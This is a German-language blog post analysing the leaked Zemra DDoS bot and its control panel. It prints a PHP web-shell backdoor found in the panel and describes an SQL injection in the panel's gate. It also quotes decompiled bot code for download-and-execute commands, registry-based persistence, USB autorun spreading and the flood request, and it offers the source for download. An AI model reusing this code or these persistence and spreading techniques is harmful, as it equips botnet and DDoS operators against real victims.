Der Zemra DDoS Bot wird z.Z. in diversen Foren für ca. 100 € verkauft. In diesem Post erwartet euch neben einer dreisten Backdoor ein unsicheres Panel und natürlich die leaked Binary. Dabei gilt wie immer: Der Coder hat zwar eine Menge Ahnung von dem was er tut, aber trotzdem bleibt es um Teil zusammen kopierte Malware. In diesem Blogpost werde ich aber vor allem auf die “Besonderheiten” aus programmtechnischer Sicht eingehen.
Falls wieder die Frage zu meiner “Moral” gestellt wird: Ich habe im Grunde nicht gegen selbst geschriebene Malware, wenn der Coder sie allein für sich benutzt. Aber ich habe nur etwas dagegen wenn diese verkauft wird. Und wer Malware für ca. 100 € verkauft sollte in der Lage sein sie und das Panel zu schützen!
Zuerst zu dem Backdoor und der SQL-Injection. Die Backdoor muss nicht zwangsläufig vom Coder sein, sie war eben in dem Panel dass mir zugespielt wurde. Dabei befand sich in dem “/system/”-Ordner, der u.a. die Settings enthält, eine command.php mit einer simplen Shell:
if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']);exit;}
Die command.php ist weiterhin in dem hochgeladenen Panel drin, nur als Warnung
Die SQL-Injection befindet sich in der gate.php, der Kommunikation zwischen Zombie und Controlserver. Da es doch viel Code zu erklären gäbe, beschränke ich mich auf die Theorie: Es wird zunächst ein Schlüssel mit dem Server ausgetauscht, dieser wird in Zukunft für die AES-Verschlüsselung verwendet. Nun wird in der Regel ein verschlüsseltes Packet mit Informationen gesendet, welche diese in die DB einträgt. Dabei werden die Werte nicht escaped, wir können also diese Kommunikation nachbauen und eine SQL-Injection durchführen.
Doch schließlich zu dem eigentlichen Bot: Die Strings der Klassen, Methoden und Felder waren durch ein Obfuscator unleserlich gemacht, daher habe ich kurzerhand ein Tool geschrieben und diese umbenannt. Dabei habe ich mich meistens auf die Klassen und Methodennamen beschränkt um Zusammenhänge zu erkennen. Das Umbenennen lange nicht vollständig!
Beginnen wir mit dem MainBot Namespace, hier findet sich u.a die Konfiguration, die Verbindung zum Control-Server und HTTPKlassen. Die Konfiguration ist mit Plaintext gefüllt, einzig der Hostname zum Control-Server war Base64 Encoded und XORed. Neben einer einzigartigen ID findet sich hier das OS, die Wartezeit nach jedem Refresh und die einzelnen Process-Names für Perisistance. Diese lauten übrigens:
public static string[] ProcessFiles = new string[] { "wscntfy.exe", "lsmass.exe" }; public static string[] ProcessNames = new string[] { "Windows-Audio Driver", "Windows-Network Component" };
Die Main-Funktion (EP) sieht dabei relativ übersichtlich aus:
private static void Main(string[] args) { InstallAndMutex.Install(args); HTTPConnection.DoServerRefresh2(); Util.SetProcessWorkingSizeM(); }
Wer will kann sich die Installations-Routine im Detail anschauen, dabei werden nur, je nach Rechten, die Autostarteinträge geschrieben und das File kopiert. Die HttpConnection ist dabei schon interessanter.
Ich weis nicht was sich der Coder des Zemra-Bots davon versprochen hat, native HTTP-Funktionen über die Winsocks-Klasse zu verwenden. Der Aufwand der zu erstellenden Klassen ist enorm und die Übersicht ist quasi null. Auf jeden Fall sieht die HTTPConnection im großen und ganzen so aus:
private static void DoServerRefresh() { IntPtr ptr = InternetOpen(Configuration.HWID2, 1, null, null, 0); if (ptr != IntPtr.Zero) { intptr_0 = InternetConnect(ptr, Encoding.Default.GetString(Configuration.XOREDHostname), 80, null, null, 3, 0, IntPtr.Zero); if (intptr_0 != IntPtr.Zero) { byte[] buffer = SendHTTPRequest(0, CryptHelper.GenerateXOREDKey(), false); if (buffer.Length > 0) { Struct2 struct2 = new Struct2(buffer); if (struct2.uint_0 == 1) { FillStructAndSend(); return; } } } InternetCloseHandle(ptr); } Thread.Sleep((int) (1000 * (Configuration.WaitTime / 2))); DoServerRefresh2(); }
Der Zemra-Bot hat ja der Beschreibung nach verschlüsselten Traffic mit jedem Client, dabei wird als Key die in .NET integrierte “rijndaelManaged_0.GenerateKey()”-Funktion verwendet. Dieser wird nochmals geXORed und an den Server übertragen.
Es gibt noch ein paar weitere Klassen in dem “Main”-Namespace, lohnt sich auf jeden Fall mein reinzuschauen. Interessanter wird es aber in der Parser-Klasse der ankommenden Commands. Diese ist hier (in der Grobform) aufgelistet:
string[] strArray = Encoding.Default.GetString(struct2_0.byte_0).Trim(new char[1]).Split(new char[] { '*' }, StringSplitOptions.RemoveEmptyEntries); if (!CompareObjectsEqual(string_0, strArray) || (uint_0 != struct2_0.uint_0)) { string_0 = strArray; uint_0 = struct2_0.uint_0; switch (struct2_0.uint_0) { case 1: DDoSHelper.AbortDDoS(); return; case 2: InstallAndMutex.DownloadAndExecuteUpdate(Convert.ToString(strArray[0])); return; case 3: Util.DownloadAndExecute(Convert.ToString(strArray[0])); return; case 4: Util.smethod_4(Convert.ToString(strArray[0])); // Vistit Site return; case 5: DDoSHelper.StartDDoS(DDoSHelper.Enum0.const_1, strArray); return; case 6: DDoSHelper.StartDDoS(DDoSHelper.Enum0.const_0, strArray); return;
Nach dem Splitten scheint eine Art “Prüfsumme” festgelegt zu werden, wenn diese nicht mit der vorherigen ID übereinstimmt wird der Command nicht ausgeführt.
Hier sehen wir sehr schön alle Features des Bots aufgelistet, neben DDoS ist das Dl&Ex und eine Seite besuchen (IE6 Control, PFUIIII!). Socks5 sollte es auch noch geben, ist hier allerdings nicht aufgelistet…
DDoS scheint es zwei Arten zu geben, dabei werden jeweils 2 Threads verwendet. Ich habe zwar keine Ahnung von DDoS, aber mir scheint das ein bisschen wenig ^^ Dabei wird folgende HTTP-Request verwendet:
GET SITE HTTP/1.1 Host: [Host] User-Agent: [USERAGENT] Keep-Alive: [200-300] Connection: keep-alive
Beide Arten des TCP-DDoSes zielen auf eine Socket-Verbindung ab, die jeweils Daten sendet und abruft.
Wie Vorhin schon erwähnt verwendet der Bot 2 paralell laufende Prozesse um das bestehen zu sichern. Dabei wendet der Bot eine doch sehr schöne, kreative Technik an. Die WinAPI bietet eine Funktion ( RegNotifyChangeKeyValue) mit einem Event das ausgelöst wird, sobald Änderungen an der Registry vorgenommen werden. Diese RegistryWatcher-Klasse benutzt der Coder um Änderungen am Autostart sofort wieder rückgänig zu machen. Dabei nistet sich die Malware in folgende Pfade ein:
@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", Configuration.ProcessNames[0], Configuration.ProcessFiles @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", Configuration.ProcessNames[1], @"SOFTWARE\Microsoft\Active Setup\Installed Components\" + Configuration.HWID1, "StubPath", @"SOFTWARE\Microsoft\Active Setup\Installed Components\" + Configuration.HWID1, "IsInstalled"
Eine Filewatcher-Klasse überprüft den Zugriff auf die Prozesse.
Ein USB-DriveBy ist ebenfalls eingebaut. Es wird WQL zum Abrufen von System-InformationeZemra Bot (24)n verwendet, um Zugriff auf den USB-Stick zu bekommen. Dort wird dann die Datei kopiert und folgender Autostart hinzugefügt. Lohnt sich auf jeden Fall anzuschauen!
writer.Write("[AutoRun]\r\n"); writer.Write("action=Open folder to view files\r\n"); writer.Write("icon=%systemroot%\\system32\\shell32.dll,4\r\n"); writer.Write("shellexecute=USBDriver.exe\r\n"); writer.Write("UseAutoPlay=1");
Die Socks5 Klasse ist Standart und schon oft genug verwendet. Wem fällt es eigentlich auf dass alle dieser kopierten Socks5-Klassen keine Benutzerauth drinhaben?
Aber genug über die Vorzüge und Nachteile des Bots besprochen, hier ist der Download als Sourcecode. Ich denke nicht dass man den Bot ohne Probleme so kompilieren kann, und das ist auch gut so. Das Panel ist ebenfalls mitgeliefert, allerdings ohne SQL-Datei zum hinzufügen der Tabellenstrukturen.